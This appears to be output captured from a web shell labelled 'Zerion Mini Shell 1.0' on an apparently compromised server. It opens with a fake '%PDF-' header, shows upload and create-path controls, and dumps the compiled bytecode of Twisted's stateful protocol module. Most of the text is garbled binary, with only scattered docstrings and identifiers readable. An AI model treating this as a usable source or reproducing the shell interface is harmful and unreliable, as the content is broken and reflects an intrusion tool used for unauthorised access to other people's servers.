%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /lib/python3/dist-packages/twisted/protocols/__pycache__/
Upload File :
Create Path :
Current File : //lib/python3/dist-packages/twisted/protocols/__pycache__/stateful.cpython-312.pyc

�

Ϫ�f���F�ddlmZddlmZGd�dej�Zy)�)�BytesIO)�protocolc�&�eZdZdZdZd�Zd�Zd�Zy)�StatefulProtocola-A Protocol that stores state for you.

    state is a pair (function, num_bytes). When num_bytes bytes of data arrives
    from the network, function is called. It is expected to return the next
    state or None to keep same state. Initial state is returned by
    getInitialState (override it).
    )NNrc��tjj||�|j�t	�df|_y)Nr)r�Protocol�makeConnection�getInitialStater�
_sful_data)�self�	transports  �</usr/lib/python3/dist-packages/twisted/protocols/stateful.pyr	zStatefulProtocol.makeConnections1�����(�(��y�9��.�.�0�'�)�Q�>���c��t�)N)�NotImplementedError)rs rr
z StatefulProtocol.getInitialStates��!�!rc��|j\}}}|jdd�|j|�|j�}|j|�||z
|dk\rN|j	|d�}||dz
}|d|�}|j
jry|r|}||z
|dk\r�N|dk7rD|j	�}|jd�|j�|j|�d}|||f|_y)Nr��)r�seek�write�tell�readr
�
disconnecting�truncate)	r�data�state�buffer�offset�blen�d�next�bs	         r�dataReceivedzStatefulProtocol.dataReceiveds��� $�����v�v����A�q�����T���{�{�}�����F���V�m�u�Q�x�'����E�!�H�%�A��e�A�h��F��5��8�A�;�D����,�,������V�m�u�Q�x�'��Q�;����
�A��K�K��N��O�O���L�L��O��F����/��rN)�__name__�
__module__�__qualname__�__doc__rr	r
r#�rrrrs����J�?�"�0rrN)�ior�twisted.internetrrrr(rr�<module>r+s���%�(0�x�(�(�(0r

Zerion Mini Shell 1.0